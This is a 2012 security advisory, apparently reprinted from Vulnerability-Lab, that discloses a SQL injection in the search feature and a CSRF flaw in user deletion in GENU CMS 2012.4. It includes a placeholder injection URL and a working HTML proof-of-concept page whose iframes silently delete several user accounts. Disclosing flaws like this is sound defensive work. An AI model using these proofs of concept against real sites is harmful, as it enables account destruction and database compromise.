GENU CMS 2012.4 CSRF / SQL Injection

🗓️ 12 May 2012 00:00:00Reported by Chokri Ben AchorType
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GENU CMS 2012.4 Multiple Web Vulnerabilities - CSRF and SQL Injectio
`Title:  
======  
GENU CMS 2012.4 - Multiple Web Vulnerabilities  
  
  
Date:  
=====  
2012-05-06  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=519  
  
  
VL-ID:  
=====  
519  
  
  
Common Vulnerability Scoring System:  
====================================  
7.5  
  
  
Introduction:  
=============  
GENU is a Content Management System written with PHP language and using a database server   
(MySQL, PostgreSQL or SQLite) for storage. It is fully customisable since it uses a templates   
system and supports multiple languages. GENU is an open-source software distributed under   
the terms of the GNU GPL license version 3.  
  
- Easy installation  
- Full customisation with templates  
- Multiple languages interface  
- Unlimited news organised into unlimited categories  
- Comments system with reply and edit possibilities  
- Articles management  
- Users management  
- Bulletin board  
- Polls  
- Complete administration interface  
- Search engine  
- Submit and send news functions  
- Smilies support  
- BBCodes or HTML tags support  
- Headlines generation  
- ...  
  
(Copy of the Vendor Homepage: http://www.gnew.fr/news/index.php )  
  
  
Abstract:  
=========  
A Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in GENU CMS 2012-3 content management system.  
  
  
Report-Timeline:  
================  
2012-04-16: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
High  
  
  
Details:  
========  
1.1  
A remote SQL Injection vulnerability is detected in GENU CMS 2012-3 content management system.  
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands   
on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.  
The vulnerability is located on the username post method.  
  
Vulnerable Module(s):  
[+] Search - news_subject  
  
--- SQL Exception Logs ---  
Error in query SELECT genu_categories.category_id, genu_categories.category_image,   
genu_categories.category_name, genu_news.news_comments, genu_news.news_date,   
genu_news.news_id, genu_news.news_source, genu_news.news_subject, genu_news.news_text,   
genu_users.user_id, genu_users.user_name FROM genu_categories, genu_news, genu_users WHERE   
genu_categories.category_id = genu_news.category_id AND genu_categories.category_level IN   
( 0 , 2 ) AND genu_news.news_active = 1 AND genu_news.user_id = genu_users.user_id AND   
LOWER(genu_news.news_subject-1 ) LIKE %news% ORDER BY news_date DESC LIMIT 0, 30   
  
  
Picture(s):  
../1.png  
../2.png  
  
  
1.2  
A csrf vulnerability is detected in GENU CMS 2012-3 content management system. The vulnerability allows  
an remote attacker to delete with medium required user inter action administrator, moderator & users without   
checkbox or confirmation by the admin itself.  
  
Vulnerable Module(s):  
[+] Delete User  
  
Picture(s):  
../3.png  
  
  
Proof of Concept:  
=================  
1.1  
The sql injection vulnerability can be exploited by remote attacker without user inter action.   
For demonstration or reproduce ...  
  
PoC:  
http://127.0.0.1:80/genu/news/search.php?search=news&match=news_subject-1%27[SQL-INJECTION]  
  
  
  
1.2  
The csrf vulnerability can be exploited by remote attacker with medium or high required  
user inter action. For demonstration or reproduce ...  
  
  
PoC:  
<html><head><body>  
<title>Remote User Delete Exploit</tile>  
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=1>  
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=2>  
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=3>  
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=4>  
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=5>  
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=6>  
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=6>  
<iframe src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=7>  
</body></head></html>  
  
  
Risk:  
=====  
1.1  
The security risk of the sql injection vulnerability is estimated as high(+).  
  
1.2  
The security risk of the csrf vulnerability is estimated as medium(-).  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Chokri B.A. ([email protected])  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply.  
  
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Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of   
other media, are reserved by Vulnerability-Lab Research Team or its suppliers.  
  
Copyright © 2012 Vulnerability-Lab  
  
  
  
  
--   
VULNERABILITY RESEARCH LABORATORY TEAM  
Website: www.vulnerability-lab.com  
Mail: [email protected]  
  
`
12 May 2012 00:00Current
0.2Low risk
Vulners AI Score0.2